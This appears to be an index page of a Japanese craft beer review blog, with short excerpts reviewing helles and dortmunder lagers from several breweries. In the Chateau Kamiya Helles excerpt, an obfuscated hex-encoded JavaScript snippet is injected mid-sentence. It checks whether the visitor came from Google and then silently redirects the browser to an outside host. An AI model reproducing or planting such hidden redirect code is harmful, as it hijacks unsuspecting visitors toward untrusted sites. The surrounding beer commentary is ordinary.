Fujizakura Munchen Lager by Fujizakura Kanko Heights

Fujizakura Munchen Lager

Fujizakura Munchen Lager is a 5% helles from Fujizakura Kanko Heights, based in Yamanashi, Japan. It’s part of their summer seasonal lineup and can be found in both bottles and on tap across Japan. Fujizakura Munchen Lager has an IBU of 30 and won the gold medal at the 2015 World Beer Awards for the World’s Best Helles beer – however, you …

Nagisa Heaven by Nagisa Beer

We all have our favourite styles of beer that we can always rely on. You know, the old standards for when you’re standing in the beer section of Seijo Ishii or Minemart with a rapidly warming bottle of Brewdog Cocoa Psycho in one hand (900 yen a pop) and 5 cans of chuhai in the other (total price: 900 yen) …

Kokage Helles by Cocono Hops

Kokage Helles

Kokage Helles is a 5 dortmunder style beer from Cocono Hop, based in Nagano, but brewed at Echigo Beer in Yuzawa, Niigata. It was first released in 2015 as part of the 100% organic range of craft beers. Besides that, not much information is known about this beer as there is none on the the Cocono Hop homepage either. At the time …

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Baeren Classic by Baeren Bier

Baeren Classic

Baeren Classic is a dortmunder style beer from Baeren Bier, in Iwate prefecture, Japan. It’s a 6% beer that is part of their all-year round selection and can be found in both bottles and on draft form. Besides that, there isn’t much information out there about Baeren Classic. Baeren Classic Aroma and Taste I drunkenly stumbled across this beer in my local …

Chateau Kamiya Helles by Ushiku Brewery

Chateau Kamiya Helles

Chateau Kamiya Helles is a dortmunder helles style beer from Ushiku Brewery that is available all year round var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]]_0x5575[1]!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. With an abv of 5%, Chateau Kamiya Helles is also an all-malt beer that can be found in both bottled form and on draught at the on-site restaurants. Chateau Kamiya Helles Aroma and Taste Mere weeks ago, I wrote how …

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Yamizo Morino Beer Helles by Daigo Brewery

Yamizo Morino Beer Helles

Yamizo Morino Beer Helles is a 5.5% dortumunder / helles style beer from Daigo Brewery, based in Ibaraki prefecture Japan. It is a bottom fermented beer that is continually watched by the brewmaster until it is ready. I can’t imagine that person having fun watching beer age, especially if they are continually watching it, but that’s what Daigo Brewery states …

Tama no Megumi Helles by Ishikawa Shuzo

Tama no Megumi Helles

Tama no Megumi Helles is a dortmunder / helles style beer from Ishikawa Shuzo that is part of their Spring seasonal line up. It’s got an abv of 5% and comes in bottled form only. Besides that, not much information is known about it, even when it goes on sale. Tama no Megumi Helles Aroma and Taste This was a …

Aqula Nme Neigaa Beer by Aqula

Aqula Nme Neigaa

How to be a cool beer by Aqula Nme Neigaa in three easy steps: Be a beer. Preferably one that is not a regular everyday beer; Be difficult to find those proving yourself to be desirable; Have your own superhero that goes around places convincing people to drink your beer. Three easy steps done. Aqula Nme Neigaa, also sold as Aqula …

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Klar Helles by Kai Draft Beer

Klar Helles

Klar Helles by Kai Draft Beer is one of those beers that gets you excited when you come across it in a store. It’s an unknown beer that you have never seen before and you know you want to buy it. Klar Helles is brewed in Yamanashi, aka wine country in Japan, and was pointed out to me on the …

Ajiwai Tenku by Tazawako Kohan no Mori Beer

Ajiwai Tenku

Ajiwai Tenku is another award-winning beer from Tazawako Kohan no Mori Beer that is brewed in the helles, meaning bright, lager style from Bavaria. An all-malt beer, Ajiwai Tenku, like Ajiwai Tenya, is brewed for the Queen’s Isetan chain of supermarkets across Japan. Ajiwai Tenku Aroma and Taste Ajiwai Tenku pours out like there is no tomorrow. Whoosh! It is a …